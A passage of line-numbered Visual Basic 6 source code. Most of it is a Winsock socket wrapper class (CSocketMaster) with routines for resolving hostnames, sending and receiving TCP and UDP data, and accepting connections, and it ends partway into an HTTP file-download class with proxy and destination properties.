918 If blnCancelDisplay = False Then MsgBox GetErrorDescription(lngErrorCode), vbOKOnly, "CSocketMaster.ResolveIfHostname"
919 Else
920 m_colWaitingResolutions.Add enmDestination, "R" & lngAsynHandle
921 Debug.Print "Resolving host " & Host; " with handle " & lngAsynHandle
922 End If
923
924 Else
925
926 m_enmState = sckError: Debug.Print "STATE: sckError"
927 Debug.Print "Error trying to allocate memory"
928 Err.Raise sckOutOfMemory, "CSocketMaster.ResolveIfHostname", "Out of memory"
929
930 End If
931
932Else 'if Host is an IP doen't need to resolve anything
933 ResolveIfHostname = lngAddress
934End If
935End Function
936
937'Resolves a hots (if necessary) in synchronous way
938'If succeeds returns a 32 bits long IP,
939'strHostIP = readable IP string and lngErrorCode = 0
940'If fails returns vbNull,
941'strHostIP = vbNullString and lngErrorCode <> 0
942Private Function ResolveIfHostnameSync(ByVal Host As String, ByRef strHostIP As String, ByRef lngErrorCode As Long) As Long
943Dim lngPtrToHOSTENT As Long
944Dim udtHostent As HOSTENT
945Dim lngAddress As Long
946Dim lngPtrToIP As Long
947Dim arrIpAddress(1 To 4) As Byte
948Dim Count As Integer
949
950If Host = vbNullString Then
951 strHostIP = vbNullString
952 lngErrorCode = WSAEAFNOSUPPORT
953 ResolveIfHostnameSync = vbNull
954 Exit Function
955End If
956
957lngAddress = api_inet_addr(Host)
958
959If lngAddress = INADDR_NONE Then 'if Host isn't an IP
960
961 lngPtrToHOSTENT = api_gethostbyname(Host)
962
963 If lngPtrToHOSTENT = 0 Then
964 lngErrorCode = Err.LastDllError
965 strHostIP = vbNullString
966 ResolveIfHostnameSync = vbNull
967 Else
968 api_CopyMemory udtHostent, ByVal lngPtrToHOSTENT, LenB(udtHostent)
969 api_CopyMemory lngPtrToIP, ByVal udtHostent.hAddrList, 4
970 api_CopyMemory arrIpAddress(1), ByVal lngPtrToIP, 4
971 api_CopyMemory lngAddress, ByVal lngPtrToIP, 4
972
973 For Count = 1 To 4
974 strHostIP = strHostIP & arrIpAddress(Count) & "."
975 Next
976
977 strHostIP = Left$(strHostIP, Len(strHostIP) - 1)
978
979 lngErrorCode = 0
980 ResolveIfHostnameSync = lngAddress
981 End If
982
983Else 'if Host is an IP doen't need to resolve anything
984
985 lngErrorCode = 0
986 strHostIP = Host
987 ResolveIfHostnameSync = lngAddress
988
989End If
990End Function
991
992'Returns local port from a connected or bound socket.
993'Returns SOCKET_ERROR if fails.
994Private Function GetLocalPort(ByVal lngSocket As Long) As Long
995Dim udtSockAddr As sockaddr_in
996Dim lngResult As Long
997
998lngResult = api_getsockname(lngSocket, udtSockAddr, LenB(udtSockAddr))
999
1000If lngResult = SOCKET_ERROR Then
1001 GetLocalPort = SOCKET_ERROR
1002Else
1003 GetLocalPort = modSocketMaster.IntegerToUnsigned(api_ntohs(udtSockAddr.sin_port))
1004End If
1005End Function
1006
1007Public Sub SendData(Data As Variant)
1008
1009Dim arrData() As Byte 'We store the data here before send it
1010
1011If m_enmProtocol = sckTCPProtocol Then
1012 If m_enmState <> sckConnected Then
1013 Err.Raise sckBadState, "CSocketMaster.SendData", "Wrong protocol or connection state for the requested transaction or request"
1014 Exit Sub
1015 End If
1016Else 'If we use UDP we create a socket if there isn't one yet
1017 If Not SocketExists Then Exit Sub
1018 If Not BindInternal Then Exit Sub
1019 m_enmState = sckOpen: Debug.Print "STATE: sckOpen"
1020End If
1021
1022'We need to convert data variant into a byte array
1023Select Case varType(Data)
1024 Case vbString
1025 Dim strdata As String
1026 strdata = CStr(Data)
1027 If Len(strdata) = 0 Then Exit Sub
1028 ReDim arrData(Len(strdata) - 1)
1029 arrData() = StrConv(strdata, vbFromUnicode)
1030 Case vbArray + vbByte
1031 Dim strArray As String
1032 strArray = StrConv(Data, vbUnicode)
1033 If Len(strArray) = 0 Then Exit Sub
1034 arrData() = StrConv(strArray, vbFromUnicode)
1035 Case vbBoolean
1036 Dim blnData As Boolean
1037 blnData = CBool(Data)
1038 ReDim arrData(LenB(blnData) - 1)
1039 api_CopyMemory arrData(0), blnData, LenB(blnData)
1040 Case vbByte
1041 Dim bytData As Byte
1042 bytData = CByte(Data)
1043 ReDim arrData(LenB(bytData) - 1)
1044 api_CopyMemory arrData(0), bytData, LenB(bytData)
1045 Case vbCurrency
1046 Dim curData As Currency
1047 curData = CCur(Data)
1048 ReDim arrData(LenB(curData) - 1)
1049 api_CopyMemory arrData(0), curData, LenB(curData)
1050 Case vbDate
1051 Dim datData As Date
1052 datData = CDate(Data)
1053 ReDim arrData(LenB(datData) - 1)
1054 api_CopyMemory arrData(0), datData, LenB(datData)
1055 Case vbDouble
1056 Dim dblData As Double
1057 dblData = CDbl(Data)
1058 ReDim arrData(LenB(dblData) - 1)
1059 api_CopyMemory arrData(0), dblData, LenB(dblData)
1060 Case vbInteger
1061 Dim intData As Integer
1062 intData = CInt(Data)
1063 ReDim arrData(LenB(intData) - 1)
1064 api_CopyMemory arrData(0), intData, LenB(intData)
1065 Case vbLong
1066 Dim lngData As Long
1067 lngData = CLng(Data)
1068 ReDim arrData(LenB(lngData) - 1)
1069 api_CopyMemory arrData(0), lngData, LenB(lngData)
1070 Case vbSingle
1071 Dim sngData As Single
1072 sngData = CSng(Data)
1073 ReDim arrData(LenB(sngData) - 1)
1074 api_CopyMemory arrData(0), sngData, LenB(sngData)
1075 Case Else
1076 Err.Raise sckUnsupported, "CSocketMaster.SendData", "Unsupported variant type."
1077 End Select
1078
1079'if there's already something in the buffer that means we are
1080'already sending data, so we put the new data in the buffer
1081'and exit silently
1082If Len(m_strSendBuffer) > 0 Then
1083 m_strSendBuffer = m_strSendBuffer + StrConv(arrData(), vbUnicode)
1084 Exit Sub
1085Else
1086 m_strSendBuffer = m_strSendBuffer + StrConv(arrData(), vbUnicode)
1087End If
1088
1089'send the data
1090SendBufferedData
1091
1092End Sub
1093
1094'Check which protocol we are using to decide which
1095'function should handle the data sending.
1096Private Sub SendBufferedData()
1097If m_enmProtocol = sckTCPProtocol Then
1098 SendBufferedDataTCP
1099Else
1100 SendBufferedDataUDP
1101End If
1102End Sub
1103
1104'Send buffered data if we are using UDP protocol.
1105Private Sub SendBufferedDataUDP()
1106Dim lngAddress As Long
1107Dim udtSockAddr As sockaddr_in
1108Dim arrData() As Byte
1109Dim lngBufferLength As Long
1110Dim lngResult As Long
1111Dim lngErrorCode As Long
1112
1113
1114Dim strTemp As String
1115lngAddress = ResolveIfHostnameSync(m_strRemoteHost, strTemp, lngErrorCode)
1116
1117If lngErrorCode <> 0 Then
1118 m_strSendBuffer = ""
1119
1120 If lngErrorCode = WSAEAFNOSUPPORT Then
1121 Err.Raise lngErrorCode, "CSocketMaster.SendBufferedDataUDP", GetErrorDescription(lngErrorCode)
1122 Else
1123 Err.Raise sckInvalidArg, "CSocketMaster.SendBufferedDataUDP", "Invalid argument"
1124 End If
1125End If
1126
1127With udtSockAddr
1128 .sin_addr = lngAddress
1129 .sin_family = AF_INET
1130 .sin_port = api_htons(modSocketMaster.UnsignedToInteger(m_lngRemotePort))
1131End With
1132
1133lngBufferLength = Len(m_strSendBuffer)
1134
1135arrData() = StrConv(m_strSendBuffer, vbFromUnicode)
1136
1137m_strSendBuffer = ""
1138
1139lngResult = api_sendto(m_lngSocketHandle, arrData(0), lngBufferLength, 0&, udtSockAddr, LenB(udtSockAddr))
1140
1141If lngResult = SOCKET_ERROR Then
1142 lngErrorCode = Err.LastDllError
1143 m_enmState = sckError: Debug.Print "STATE: sckError"
1144 Dim blnCancelDisplay As Boolean
1145 blnCancelDisplay = True
1146 RaiseEvent Error(lngErrorCode, GetErrorDescription(lngErrorCode), 0, "CSocketMaster.SendBufferedDataUDP", "", 0, blnCancelDisplay)
1147 If blnCancelDisplay = False Then MsgBox GetErrorDescription(lngErrorCode), vbOKOnly, "CSocketMaster.SendBufferedDataUDP"
1148End If
1149
1150End Sub
1151
1152'Send buffered data if we are using TCP protocol.
1153Private Sub SendBufferedDataTCP()
1154
1155Dim arrData() As Byte
1156Dim lngBufferLength As Long
1157Dim lngResult As Long
1158Dim lngTotalSent As Long
1159
1160Do Until lngResult = SOCKET_ERROR Or Len(m_strSendBuffer) = 0
1161
1162 lngBufferLength = Len(m_strSendBuffer)
1163
1164 If lngBufferLength > m_lngSendBufferLen Then
1165 lngBufferLength = m_lngSendBufferLen
1166 arrData() = StrConv(Left$(m_strSendBuffer, m_lngSendBufferLen), vbFromUnicode)
1167 Else
1168 arrData() = StrConv(m_strSendBuffer, vbFromUnicode)
1169 End If
1170
1171 lngResult = api_send(m_lngSocketHandle, arrData(0), lngBufferLength, 0&)
1172
1173 If lngResult = SOCKET_ERROR Then
1174 Dim lngErrorCode As Long
1175 lngErrorCode = Err.LastDllError
1176
1177 If lngErrorCode = WSAEWOULDBLOCK Then
1178 Debug.Print "WARNING: Send buffer full, waiting..."
1179 If lngTotalSent > 0 Then RaiseEvent SendProgress(lngTotalSent, Len(m_strSendBuffer))
1180 Else
1181 m_enmState = sckError: Debug.Print "STATE: sckError"
1182 Dim blnCancelDisplay As Boolean
1183 blnCancelDisplay = True
1184 RaiseEvent Error(lngErrorCode, GetErrorDescription(lngErrorCode), 0, "CSocketMaster.SendBufferedData", "", 0, blnCancelDisplay)
1185 If blnCancelDisplay = False Then MsgBox GetErrorDescription(lngErrorCode), vbOKOnly, "CSocketMaster.SendBufferedData"
1186 End If
1187
1188 Else
1189 Debug.Print "OK Bytes sent: " & lngResult
1190 lngTotalSent = lngTotalSent + lngResult
1191 If Len(m_strSendBuffer) > lngResult Then
1192 m_strSendBuffer = Mid$(m_strSendBuffer, lngResult + 1)
1193 Else
1194 Debug.Print "OK Finished SENDING"
1195 m_strSendBuffer = ""
1196 Dim lngTemp As Long
1197 lngTemp = lngTotalSent
1198 lngTotalSent = 0
1199 RaiseEvent SendProgress(lngTemp, 0)
1200 RaiseEvent SendComplete
1201 End If
1202 End If
1203
1204Loop
1205
1206End Sub
1207
1208'This function retrieves data from the Winsock buffer
1209'into the class local buffer. The function returns number
1210'of bytes retrieved (received).
1211Private Function RecvDataToBuffer() As Long
1212Dim arrBuffer() As Byte
1213Dim lngBytesReceived As Long
1214Dim strBuffTemporal As String
1215
1216ReDim arrBuffer(m_lngRecvBufferLen - 1)
1217
1218lngBytesReceived = api_recv(m_lngSocketHandle, arrBuffer(0), m_lngRecvBufferLen, 0&)
1219
1220If lngBytesReceived = SOCKET_ERROR Then
1221
1222 m_enmState = sckError: Debug.Print "STATE: sckError"
1223 Dim lngErrorCode As Long
1224 lngErrorCode = Err.LastDllError
1225 Err.Raise lngErrorCode, "CSocketMaster.RecvDataToBuffer", GetErrorDescription(lngErrorCode)
1226
1227ElseIf lngBytesReceived > 0 Then
1228
1229 strBuffTemporal = StrConv(arrBuffer(), vbUnicode)
1230 m_strRecvBuffer = m_strRecvBuffer & Left$(strBuffTemporal, lngBytesReceived)
1231 RecvDataToBuffer = lngBytesReceived
1232
1233End If
1234
1235End Function
1236
1237'Retrieves some socket options.
1238'If it is an UDP socket also sets SO_BROADCAST option.
1239Private Sub ProcessOptions()
1240Dim lngResult As Long
1241Dim lngBuffer As Long
1242Dim lngErrorCode As Long
1243
1244If m_enmProtocol = sckTCPProtocol Then
1245 lngResult = api_getsockopt(m_lngSocketHandle, SOL_SOCKET, SO_RCVBUF, lngBuffer, LenB(lngBuffer))
1246
1247 If lngResult = SOCKET_ERROR Then
1248 lngErrorCode = Err.LastDllError
1249 Err.Raise lngErrorCode, "CSocketMaster.ProcessOptions", GetErrorDescription(lngErrorCode)
1250 Else
1251 m_lngRecvBufferLen = lngBuffer
1252 End If
1253
1254 lngResult = api_getsockopt(m_lngSocketHandle, SOL_SOCKET, SO_SNDBUF, lngBuffer, LenB(lngBuffer))
1255
1256 If lngResult = SOCKET_ERROR Then
1257 lngErrorCode = Err.LastDllError
1258 Err.Raise lngErrorCode, "CSocketMaster.ProcessOptions", GetErrorDescription(lngErrorCode)
1259 Else
1260 m_lngSendBufferLen = lngBuffer
1261 End If
1262
1263Else
1264 lngBuffer = 1
1265 lngResult = api_setsockopt(m_lngSocketHandle, SOL_SOCKET, SO_BROADCAST, lngBuffer, LenB(lngBuffer))
1266
1267 lngResult = api_getsockopt(m_lngSocketHandle, SOL_SOCKET, SO_MAX_MSG_SIZE, lngBuffer, LenB(lngBuffer))
1268
1269 If lngResult = SOCKET_ERROR Then
1270 lngErrorCode = Err.LastDllError
1271 Err.Raise lngErrorCode, "CSocketMaster.ProcessOptions", GetErrorDescription(lngErrorCode)
1272 Else
1273 m_lngRecvBufferLen = lngBuffer
1274 m_lngSendBufferLen = lngBuffer
1275 End If
1276End If
1277
1278
1279Debug.Print "Winsock buffer size for sends: " & m_lngRecvBufferLen
1280Debug.Print "Winsock buffer size for receives: " & m_lngSendBufferLen
1281End Sub
1282
1283Public Sub GetData(ByRef Data As Variant, Optional varType As Variant, Optional maxLen As Variant)
1284
1285If m_enmProtocol = sckTCPProtocol Then
1286 If m_enmState <> sckConnected And Not m_blnAcceptClass Then
1287 Err.Raise sckBadState, "CSocketMaster.GetData", "Wrong protocol or connection state for the requested transaction or request"
1288 Exit Sub
1289 End If
1290Else
1291 If m_enmState <> sckOpen Then
1292 Err.Raise sckBadState, "CSocketMaster.GetData", "Wrong protocol or connection state for the requested transaction or request"
1293 Exit Sub
1294 End If
1295 If GetBufferLenUDP = 0 Then Exit Sub
1296End If
1297
1298If Not IsMissing(maxLen) Then
1299 If IsNumeric(maxLen) Then
1300 If CLng(maxLen) < 0 Then
1301 Err.Raise sckInvalidArg, "CSocketMaster.GetData", "The argument passed to a function was not in the correct format or in the specified range."
1302 End If
1303 Else
1304 If m_enmProtocol = sckTCPProtocol Then
1305 maxLen = Len(m_strRecvBuffer)
1306 Else
1307 maxLen = GetBufferLenUDP
1308 End If
1309 End If
1310End If
1311
1312Dim lngBytesRecibidos As Long
1313
1314lngBytesRecibidos = RecvData(Data, False, varType, maxLen)
1315Debug.Print "OK Bytes obtained from buffer: " & lngBytesRecibidos
1316
1317End Sub
1318
1319Public Sub PeekData(ByRef Data As Variant, Optional varType As Variant, Optional maxLen As Variant)
1320
1321If m_enmProtocol = sckTCPProtocol Then
1322 If m_enmState <> sckConnected Then
1323 Err.Raise sckBadState, "CSocketMaster.PeekData", "Wrong protocol or connection state for the requested transaction or request"
1324 Exit Sub
1325 End If
1326Else
1327 If m_enmState <> sckOpen Then
1328 Err.Raise sckBadState, "CSocketMaster.PeekData", "Wrong protocol or connection state for the requested transaction or request"
1329 Exit Sub
1330 End If
1331 If GetBufferLenUDP = 0 Then Exit Sub
1332End If
1333
1334If Not IsMissing(maxLen) Then
1335 If IsNumeric(maxLen) Then
1336 If CLng(maxLen) < 0 Then
1337 Err.Raise sckInvalidArg, "CSocketMaster.PeekData", "The argument passed to a function was not in the correct format or in the specified range."
1338 End If
1339 Else
1340 If m_enmProtocol = sckTCPProtocol Then
1341 maxLen = Len(m_strRecvBuffer)
1342 Else
1343 maxLen = GetBufferLenUDP
1344 End If
1345 End If
1346End If
1347
1348Dim lngBytesRecibidos As Long
1349
1350lngBytesRecibidos = RecvData(Data, True, varType, maxLen)
1351Debug.Print "OK Bytes obtained from buffer: " & lngBytesRecibidos
1352End Sub
1353
1354
1355'This function is to retrieve data from the buffer. If we are using TCP
1356'then the data is retrieved from a local buffer (m_strRecvBuffer). If we
1357'are using UDP the data is retrieved from winsock buffer.
1358'It can be called by two public methods of the class - GetData and PeekData.
1359'Behavior of the function is defined by the blnPeek argument. If a value of
1360'that argument is TRUE, the function returns number of bytes in the
1361'buffer, and copy data from that buffer into the data argument.
1362'If a value of the blnPeek is FALSE, then this function returns number of
1363'bytes received, and move data from the buffer into the data
1364'argument. MOVE means that data will be removed from the buffer.
1365Private Function RecvData(ByRef Data As Variant, ByVal blnPeek As Boolean, Optional varClass As Variant, Optional maxLen As Variant) As Long
1366
1367Dim blnMaxLenMiss As Boolean
1368Dim blnClassMiss As Boolean
1369Dim strRecvData As String
1370Dim lngBufferLen As Long
1371Dim arrBuffer() As Byte
1372Dim lngErrorCode As Long
1373
1374If m_enmProtocol = sckTCPProtocol Then
1375 lngBufferLen = Len(m_strRecvBuffer)
1376Else
1377 lngBufferLen = GetBufferLenUDP
1378End If
1379
1380blnMaxLenMiss = IsMissing(maxLen)
1381blnClassMiss = IsMissing(varClass)
1382
1383'Select type of data
1384If varType(Data) = vbEmpty Then
1385 If blnClassMiss Then varClass = vbArray + vbByte
1386Else
1387 varClass = varType(Data)
1388End If
1389
1390'As stated on Winsock control documentation if the
1391'data type passed is string or byte array type then
1392'we must take into account maxLen argument.
1393'If it is another type maxLen is ignored.
1394If varClass = vbString Or varClass = vbArray + vbByte Then
1395
1396 If blnMaxLenMiss Then 'if maxLen argument is missing
1397
1398 If lngBufferLen = 0 Then
1399
1400 RecvData = 0
1401
1402 arrBuffer = StrConv("", vbFromUnicode)
1403 Data = arrBuffer
1404
1405 Exit Function
1406
1407 Else
1408
1409 RecvData = lngBufferLen
1410 arrBuffer = BuildArray(lngBufferLen, blnPeek, lngErrorCode)
1411
1412 End If
1413
1414 Else 'if maxLen argument is not missing
1415
1416 If maxLen = 0 Or lngBufferLen = 0 Then
1417
1418 RecvData = 0
1419
1420 arrBuffer = StrConv("", vbFromUnicode)
1421 Data = arrBuffer
1422
1423 If m_enmProtocol = sckUDPProtocol Then
1424 EmptyBuffer
1425 Err.Raise WSAEMSGSIZE, "CSocketMaster.RecvData", GetErrorDescription(WSAEMSGSIZE)
1426 End If
1427
1428 Exit Function
1429
1430 ElseIf maxLen > lngBufferLen Then
1431
1432 RecvData = lngBufferLen
1433 arrBuffer = BuildArray(lngBufferLen, blnPeek, lngErrorCode)
1434
1435 Else
1436
1437 RecvData = CLng(maxLen)
1438 arrBuffer() = BuildArray(CLng(maxLen), blnPeek, lngErrorCode)
1439
1440 End If
1441
1442 End If
1443
1444End If
1445
1446 Select Case varClass
1447
1448 Case vbString
1449 Dim strdata As String
1450 strdata = StrConv(arrBuffer(), vbUnicode)
1451 Data = strdata
1452 Case vbArray + vbByte
1453 Data = arrBuffer
1454 Case vbBoolean
1455 Dim blnData As Boolean
1456 If LenB(blnData) > lngBufferLen Then Exit Function
1457 arrBuffer = BuildArray(LenB(blnData), blnPeek, lngErrorCode)
1458 RecvData = LenB(blnData)
1459 api_CopyMemory blnData, arrBuffer(0), LenB(blnData)
1460 Data = blnData
1461 Case vbByte
1462 Dim bytData As Byte
1463 If LenB(bytData) > lngBufferLen Then Exit Function
1464 arrBuffer = BuildArray(LenB(bytData), blnPeek, lngErrorCode)
1465 RecvData = LenB(bytData)
1466 api_CopyMemory bytData, arrBuffer(0), LenB(bytData)
1467 Data = bytData
1468 Case vbCurrency
1469 Dim curData As Currency
1470 If LenB(curData) > lngBufferLen Then Exit Function
1471 arrBuffer = BuildArray(LenB(curData), blnPeek, lngErrorCode)
1472 RecvData = LenB(curData)
1473 api_CopyMemory curData, arrBuffer(0), LenB(curData)
1474 Data = curData
1475 Case vbDate
1476 Dim datData As Date
1477 If LenB(datData) > lngBufferLen Then Exit Function
1478 arrBuffer = BuildArray(LenB(datData), blnPeek, lngErrorCode)
1479 RecvData = LenB(datData)
1480 api_CopyMemory datData, arrBuffer(0), LenB(datData)
1481 Data = datData
1482 Case vbDouble
1483 Dim dblData As Double
1484 If LenB(dblData) > lngBufferLen Then Exit Function
1485 arrBuffer = BuildArray(LenB(dblData), blnPeek, lngErrorCode)
1486 RecvData = LenB(dblData)
1487 api_CopyMemory dblData, arrBuffer(0), LenB(dblData)
1488 Data = dblData
1489 Case vbInteger
1490 Dim intData As Integer
1491 If LenB(intData) > lngBufferLen Then Exit Function
1492 arrBuffer = BuildArray(LenB(intData), blnPeek, lngErrorCode)
1493 RecvData = LenB(intData)
1494 api_CopyMemory intData, arrBuffer(0), LenB(intData)
1495 Data = intData
1496 Case vbLong
1497 Dim lngData As Long
1498 If LenB(lngData) > lngBufferLen Then Exit Function
1499 arrBuffer = BuildArray(LenB(lngData), blnPeek, lngErrorCode)
1500 RecvData = LenB(lngData)
1501 api_CopyMemory lngData, arrBuffer(0), LenB(lngData)
1502 Data = lngData
1503 Case vbSingle
1504 Dim sngData As Single
1505 If LenB(sngData) > lngBufferLen Then Exit Function
1506 arrBuffer = BuildArray(LenB(sngData), blnPeek, lngErrorCode)
1507 RecvData = LenB(sngData)
1508 api_CopyMemory sngData, arrBuffer(0), LenB(sngData)
1509 Data = sngData
1510 Case Else
1511 Err.Raise sckUnsupported, "CSocketMaster.RecvData", "Unsupported variant type."
1512
1513 End Select
1514
1515'if BuildArray returns an error is handled here
1516If lngErrorCode <> 0 Then
1517 Err.Raise lngErrorCode, "CSocketMaster.RecvData", GetErrorDescription(lngErrorCode)
1518End If
1519
1520End Function
1521
1522'Returns a byte array of Size bytes filled with incoming buffer data.
1523Private Function BuildArray(ByVal Size As Long, ByVal blnPeek As Boolean, ByRef lngErrorCode As Long) As Byte()
1524Dim strdata As String
1525
1526If m_enmProtocol = sckTCPProtocol Then
1527
1528 strdata = Left$(m_strRecvBuffer, CLng(Size))
1529 BuildArray = StrConv(strdata, vbFromUnicode)
1530
1531 If Not blnPeek Then
1532 m_strRecvBuffer = Mid$(m_strRecvBuffer, Size + 1)
1533 End If
1534
1535Else 'UDP protocol
1536 Dim arrBuffer() As Byte
1537 Dim lngResult As Long
1538 Dim udtSockAddr As sockaddr_in
1539 Dim lngFlags As Long
1540
1541 If blnPeek Then lngFlags = MSG_PEEK
1542
1543 ReDim arrBuffer(Size - 1)
1544
1545 lngResult = api_recvfrom(m_lngSocketHandle, arrBuffer(0), Size, lngFlags, udtSockAddr, LenB(udtSockAddr))
1546
1547 If lngResult = SOCKET_ERROR Then
1548 lngErrorCode = Err.LastDllError
1549 End If
1550
1551 BuildArray = arrBuffer
1552 GetRemoteInfoFromSI udtSockAddr, m_lngRemotePort, m_strRemoteHostIP, m_strRemoteHost
1553
1554End If
1555End Function
1556
1557'Clean resolution system that is in charge of
1558'asynchronous hostname resolutions.
1559Private Sub CleanResolutionSystem()
1560Dim varAsynHandle As Variant
1561
1562'cancel async resolutions if they're still running
1563For Each varAsynHandle In m_colWaitingResolutions
1564 api_WSACancelAsyncRequest varAsynHandle
1565 modSocketMaster.UnregisterResolution varAsynHandle
1566Next
1567
1568'free memory buffer where resolution results are stored
1569FreeMemory
1570End Sub
1571
1572Public Sub Listen()
1573If m_enmState <> sckClosed And m_enmState <> sckOpen Then
1574 Err.Raise sckInvalidOp, "CSocketMaster.Listen", "Invalid operation at current state"
1575End If
1576
1577If Not SocketExists Then Exit Sub
1578If Not BindInternal Then Exit Sub
1579
1580Dim lngResult As Long
1581
1582lngResult = api_listen(m_lngSocketHandle, SOMAXCONN)
1583
1584If lngResult = SOCKET_ERROR Then
1585 Dim lngErrorCode As Long
1586 lngErrorCode = Err.LastDllError
1587 Err.Raise lngErrorCode, "CSocketMaster.Listen", GetErrorDescription(lngErrorCode)
1588Else
1589 m_enmState = sckListening: Debug.Print "STATE: sckListening"
1590End If
1591
1592End Sub
1593
1594Public Sub Accept(requestID As Long)
1595If m_enmState <> sckClosed Then
1596 Err.Raise sckInvalidOp, "CSocketMaster.Accept", "Invalid operation at current state"
1597End If
1598
1599Dim lngResult As Long
1600Dim udtSockAddr As sockaddr_in
1601Dim lngErrorCode As Long
1602
1603m_lngSocketHandle = requestID
1604m_enmProtocol = sckTCPProtocol
1605ProcessOptions
1606
1607If Not modSocketMaster.IsAcceptRegistered(requestID) Then
1608 If IsSocketRegistered(requestID) Then
1609 Err.Raise sckBadState, "CSocketMaster.Accept", "Wrong protocol or connection state for the requested transaction or request"
1610 Else
1611 m_blnAcceptClass = True
1612 m_enmState = sckConnected: Debug.Print "STATE: sckConnected"
1613 modSocketMaster.RegisterSocket m_lngSocketHandle, ObjPtr(Me), False
1614 Exit Sub
1615 End If
1616End If
1617
1618Dim clsSocket As CSocketMaster
1619Set clsSocket = GetAcceptClass(requestID)
1620modSocketMaster.UnregisterAccept requestID
1621
1622lngResult = api_getsockname(m_lngSocketHandle, udtSockAddr, LenB(udtSockAddr))
1623
1624If lngResult = SOCKET_ERROR Then
1625
1626 lngErrorCode = Err.LastDllError
1627 Err.Raise lngErrorCode, "CSocketMaster.Accept", GetErrorDescription(lngErrorCode)
1628
1629Else
1630
1631 m_lngLocalPortBind = IntegerToUnsigned(api_ntohs(udtSockAddr.sin_port))
1632 m_strLocalIP = StringFromPointer(api_inet_ntoa(udtSockAddr.sin_addr))
1633
1634End If
1635
1636GetRemoteInfo m_lngSocketHandle, m_lngRemotePort, m_strRemoteHostIP, m_strRemoteHost
1637m_enmState = sckConnected: Debug.Print "STATE: sckConnected"
1638
1639If clsSocket.BytesReceived > 0 Then
1640 clsSocket.GetData m_strRecvBuffer
1641End If
1642
1643modSocketMaster.Subclass_ChangeOwner requestID, ObjPtr(Me)
1644
1645If Len(m_strRecvBuffer) > 0 Then RaiseEvent DataArrival(Len(m_strRecvBuffer))
1646
1647If clsSocket.State = sckClosing Then
1648 m_enmState = sckClosing: Debug.Print "STATE: sckClosing"
1649 RaiseEvent CloseSck
1650End If
1651
1652Set clsSocket = Nothing
1653End Sub
1654
1655'Retrieves remote info from a connected socket.
1656'If succeeds returns TRUE and loads the arguments.
1657'If fails returns FALSE and arguments are not loaded.
1658Private Function GetRemoteInfo(ByVal lngSocket As Long, ByRef lngRemotePort As Long, ByRef strRemoteHostIP As String, ByRef strRemoteHost As String) As Boolean
1659GetRemoteInfo = False
1660Dim lngResult As Long
1661Dim udtSockAddr As sockaddr_in
1662
1663lngResult = api_getpeername(lngSocket, udtSockAddr, LenB(udtSockAddr))
1664
1665If lngResult = 0 Then
1666 GetRemoteInfo = True
1667 GetRemoteInfoFromSI udtSockAddr, lngRemotePort, strRemoteHostIP, strRemoteHost
1668Else
1669 lngRemotePort = 0
1670 strRemoteHostIP = ""
1671 strRemoteHost = ""
1672End If
1673End Function
1674
1675'Gets remote info from a sockaddr_in structure.
1676Private Sub GetRemoteInfoFromSI(ByRef udtSockAddr As sockaddr_in, ByRef lngRemotePort As Long, ByRef strRemoteHostIP As String, ByRef strRemoteHost As String)
1677
1678'Dim lngResult As Long
1679'Dim udtHostent As HOSTENT
1680
1681lngRemotePort = IntegerToUnsigned(api_ntohs(udtSockAddr.sin_port))
1682strRemoteHostIP = StringFromPointer(api_inet_ntoa(udtSockAddr.sin_addr))
1683'lngResult = api_gethostbyaddr(udtSockAddr.sin_addr, 4&, AF_INET)
1684
1685'If lngResult <> 0 Then
1686' api_CopyMemory udtHostent, ByVal lngResult, LenB(udtHostent)
1687' strRemoteHost = StringFromPointer(udtHostent.hName)
1688'Else
1689 m_strRemoteHost = ""
1690'End If
1691
1692End Sub
1693
1694'Returns winsock incoming buffer length from an UDP socket.
1695Private Function GetBufferLenUDP() As Long
1696Dim lngResult As Long
1697Dim lngBuffer As Long
1698lngResult = api_ioctlsocket(m_lngSocketHandle, FIONREAD, lngBuffer)
1699
1700If lngResult = SOCKET_ERROR Then
1701 GetBufferLenUDP = 0
1702Else
1703 GetBufferLenUDP = lngBuffer
1704End If
1705End Function
1706
1707'Empty winsock incoming buffer from an UDP socket.
1708Private Sub EmptyBuffer()
1709Dim B As Byte
1710api_recv m_lngSocketHandle, B, Len(B), 0&
1711End Sub
1712Option Explicit
1713
1714'NOTE: If FileSize = 0 that means the size of the file
1715' is unknown.
1716
1717'==============================================================================
1718'EVENTS
1719'==============================================================================
1720
1721Public Event Starting(ByVal FileSize As Long, ByVal Header As String)
1722Public Event DataArrival(ByVal bytesTotal As Long)
1723Public Event Error(ByVal Number As Integer, Description As String)
1724Public Event Completed()
1725
1726'==============================================================================
1727'CONSTANTS
1728'==============================================================================
1729
1730Public Enum AccessConstants
1731 cdDirect = 0
1732 cdNamedProxy = 1
1733End Enum
1734
1735'==============================================================================
1736'MEMBER VARIABLES
1737'==============================================================================
1738
1739Private m_acAccess As AccessConstants
1740Private m_strProxy As String
1741Private m_strURL As String
1742Private m_strDestination As String
1743Private m_lngProxyPort As Long
1744Private m_blnRedirDisabled As Boolean
1745
1746Private m_strHeader As String
1747Private m_blnHeaderArrived As Boolean
1748Private m_intFileHandle As Integer
1749Private m_lngFileSize As Long
1750
1751'our socket
1752Private WithEvents cmSocket As CSocketMaster
1753
1754Private Sub Class_Terminate()
1755Set cmSocket = Nothing
1756End Sub
1757
1758'==============================================================================
1759'PROPERTIES
1760'==============================================================================
1761
1762Public Property Get Proxy() As String
1763Proxy = m_strProxy
1764End Property
1765
1766Public Property Let Proxy(ByVal strProxy As String)
1767m_strProxy = Trim(strProxy)
1768End Property
1769
1770Public Property Get ProxyPort() As Long
1771ProxyPort = m_lngProxyPort
1772End Property
1773
1774Public Property Let ProxyPort(ByVal lngProxyPort As Long)
1775m_lngProxyPort = lngProxyPort
1776End Property
1777
1778Public Property Get AccessType() As AccessConstants
1779AccessType = m_acAccess
1780End Property
1781
1782Public Property Let AccessType(ByVal acAccess As AccessConstants)
1783m_acAccess = acAccess
1784End Property
1785
1786Public Property Get URL() As String
1787URL = m_strURL
1788End Property
1789
1790Public Property Let URL(ByVal strURL As String)
1791m_strURL = Trim(strURL)
1792End Property
1793
1794Public Property Get Destination() As String
1795Destination = m_strDestination
1796End Property
1797
1798Public Property Let Destination(ByVal strDestination As String)
1799m_strDestination = Trim(Destination)
1800End Property
1801
1802Public Property Get DisableRedirection() As Boolean
1803DisableRedirection = m_blnRedirDisabled
1804End Property
1805
1806Public Property Let DisableRedirection(ByVal blnRedir As Boolean)
1807m_blnRedirDisabled = blnRedir
1808End Property
1809
1810Public Property Get FileSize() As Long
1811FileSize = m_lngFileSize
1812End Property
1813
